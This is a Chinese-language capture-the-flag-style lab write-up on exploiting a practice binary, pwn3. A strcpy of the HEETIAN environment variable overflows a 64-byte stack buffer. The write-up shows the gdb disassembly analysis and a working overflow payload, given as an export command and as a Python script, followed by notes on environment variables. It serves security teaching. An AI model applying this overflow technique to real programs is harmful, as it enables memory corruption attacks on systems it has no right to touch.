實驗描述:
主機/home/test/3目錄下有一個pwn3程序,這個程序會對進程中名爲HEETIAN的環境變量的值進行處理,通過構造特定的環境變量參數數據可以對程序發起溢出攻擊,成功會提示Congratulations, you pwned it.,失敗則會提示Please try again.的提示信息。注意:如果沒有設置HEETIAN這個環境變量,那麼運行程序後將輸出Please set the HEETIAN environment variable,之後程序自動退出。
請對pwn3程序進行逆向分析和調試,找到程序內部的漏洞,並構造特殊的環境變量參數數據,使之輸出成功的提示信息。
實驗目的:
學習環境變量的基本知識,掌握修改進程環境變量參數的方法,明白父子進程之間默認擁有相同的環境變量參數,通過精心構造環境變量數據來修改內存內容,使得modified變量的值爲我們所掌控。
實驗步驟:
1、源碼審計
在終端進入目錄 /home/test/3,執行cat pwn3.c程序可看到源碼:
程序通過getenv()函數獲取名爲HEETIAN的環境變量參數,然後使用strcpy函數將其值複製到buffer緩衝區中,在這裏可以引發緩衝區溢出。
當設置超過緩衝區長度的環境變量參數時,將會產生緩衝區溢出,數據覆蓋buffer後會繼續覆蓋掉modified的變量。
2、使用gdb調試程序
執行gdb pwn3對pwn3開始調試,輸入disas main,查看main函數的彙編代碼:
關鍵彙編代碼解釋:
......
0x0804848d<+9>: movl $0x80485d4,(%esp)
; 調用getenv獲取環境變量HEETIAN的值
0x08048494<+16>:call 0x8048364<getenv@plt>
; 將結果保存到variable變量,即[esp+0x5c]
0x08048499<+21>:mov %eax,0x5c(%esp)
; 判斷返回結果是否爲NULL
0x0804849d<+25>: cmpl $0x0,0x5c(%esp)
0x080484a2<+30>:jne 0x80484bc<main+56>
......
; 初始化modified變量的值爲0,位於[esp+0x58]
0x080484bc<+56>: movl $0x0,0x58(%esp)
; 調用strcpy對buffer進行填充,位於[esp+0x18]
0x080484c4<+64>:mov 0x5c(%esp),%eax
0x080484c8<+68>:mov %eax,0x4(%esp)
0x080484cc<+72>:lea 0x18(%esp),%eax
0x080484d0<+76>:mov %eax,(%esp)
0x080484d3<+79>:call 0x8048384<strcpy@plt>
; 判斷modified變量的值是否爲0x0d0a0d0a
0x080484d8<+84>: cmpl $0xd0a0d0a,0x58(%esp)
......
End of assembler dump.
通過分析可知,buffer位於esp+0x18處,modified位於esp +0x58處,兩個地址距離0x58-0x18=0x40,即64,正好是buffer數組大小。所以當環境變量HEETIAN的值超過64字節時,modified變量的值就可以被覆蓋。合理控制環境變量參數的第65~68字節的內容,就可以發起攻擊。
3、發起溢出攻擊
目標機器採用的是小端格式存儲數據,而if語句分支要求modified值爲0xd0a0d0a時才通過判斷,所以構造的數據應該爲\x0a\x0d\x0a\x0d。
可以通過兩種不同的方法來修改環境變量的值。
【1】通過export修改環境變量的值
退出gdb,執行語句:export HEETIAN=$(python -c "print 'A'*64+'\x0a\x0d\x0a\x0d' ")
然後執行./pwn3:
【2】通過python腳本動態修改環境變量
在/home/text/3下存在一個pwn3.py的python腳本,執行cat pwn3.py查看源碼:
import os
defpwn():
os.putenv("HEETIAN","A"*64+"\x0a\x0d\x0a\x0d")
os.system("./pwn3")
if __name__ =="__main__":
pwn()
爲了排除前面的環境變量的干擾,先修改HEETIAN的的值爲AAAA,然後再執行python腳本:
pwn3.py先修改HEETIAN環境變量的值,然後通過system啓動pwn3程序。
實驗總結:
1、環境變量參數:在Linux/Windows操作系統中, 每個進程都有其各自的環境變量設置。 缺省情況下, 當一個進程被創建時,除了創建過程中的明確更改外,它繼承了其父進程的絕大部分環境變量信息。、
擴展的C語言main函數可以傳遞三個參數,除了argc和argv參數外,還能接受一個char**類型的envp參數。envp指向一個字符串數組,該數組存儲了當前進程具體的環境變量的內容,envp的最後一個元素指向NULL,此爲envp結束的標識符。
環境變量的格式爲:環境變量名=環境變量值
當父進程啓動一個子進程時,子進程會繼承父進程的換了變量信息。在Linux Shell下,通過export可以給Shell添加一個環境變量,此後通過Shell啓動的子進程都會擁有這個環境變量。
2、export [-fnp][環境變量名]=[變量設置值]
參 數:
-f 代表[變量名稱]中爲函數名稱。
-n 刪除指定的變量。變量實際上並未刪除,只是不會輸出到後續指令的執行環境中。
-p 列出所有的shell賦予程序的環境變量。
3、Python的os模塊提供創建子進程以及修改環境變量的函數,其中os.system函數可以創建一個子進程,且子進程會繼承父進程的環境變量參數信息;os.putenv可以修改進程的環境變量參數信息。
4、除了通過export添加環境變量以外,還可以通過函數getenv、putenv、setenv等對環境變量進行操作。
putenv():定義函數 int putenv(const char * string);
函數說明:用來改變或增加環境變量的內容。參數string的格式爲name=value,如果該環境變量原先存在,則變量內容會依參數string改變,否則此參數內容會成爲新的環境變量。
返回值:執行成功則返回0,有錯誤發生則返回-1。
setenv():定義函數 int setenv(const char *name,const char * value,int overwrite);
函數說明 setenv()用來改變或增加環境變量的內容。參數 name爲環境變量名稱字符串,參數 value則爲變量內容,參數 overwrite用來決定是否要改變已存在的環境變量。如果overwrite不爲0,則改變環境變量原有內容,原有內容會被改爲參數value所指的變量內容。如果overwrite爲0,且該環境變量已有內容,則參數value會被忽略。
返回值 執行成功則返回0,有錯誤發生時返回-1。
5、 Linux Shell中,可以使用$()或者兩個反引號(`)來包裹一條shell命令,並返回shell命令的執行結果。
比如上面實驗也可執行export HEETIAN=`python -c "print 'A'*64+'\x0a\x0d\x0a\x0d' "`命令。